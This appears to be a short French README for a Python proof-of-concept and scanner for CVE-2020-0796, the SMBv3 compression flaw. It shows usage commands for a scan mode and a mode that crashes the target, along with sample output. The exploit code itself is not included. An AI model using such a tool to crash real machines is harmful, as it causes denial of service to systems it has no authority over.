
PoC et scanner légers pour CVE-2020-0796 sans authentification.
Un PoC et scanner encore plus simple pour CVE-2020-0796, car il utilise des paquets statiques. Une protection empêche toute utilisation accidentelle sur des IP publiques (ne faites pas ça) et un interrupteur permet d'activer/désactiver le crash. Nécessite uniquement du Python 3 standard !
Mode scan :
python3 poc-and-scan.py 10.0.0.15 N
Mode scan+crash :
python3 poc-and-scan.py 10.0.0.15 Y
Sortie :
SMB v311 with LZNT1 detected.
Sending malformed packet per user request!
Sous licence WTFPL.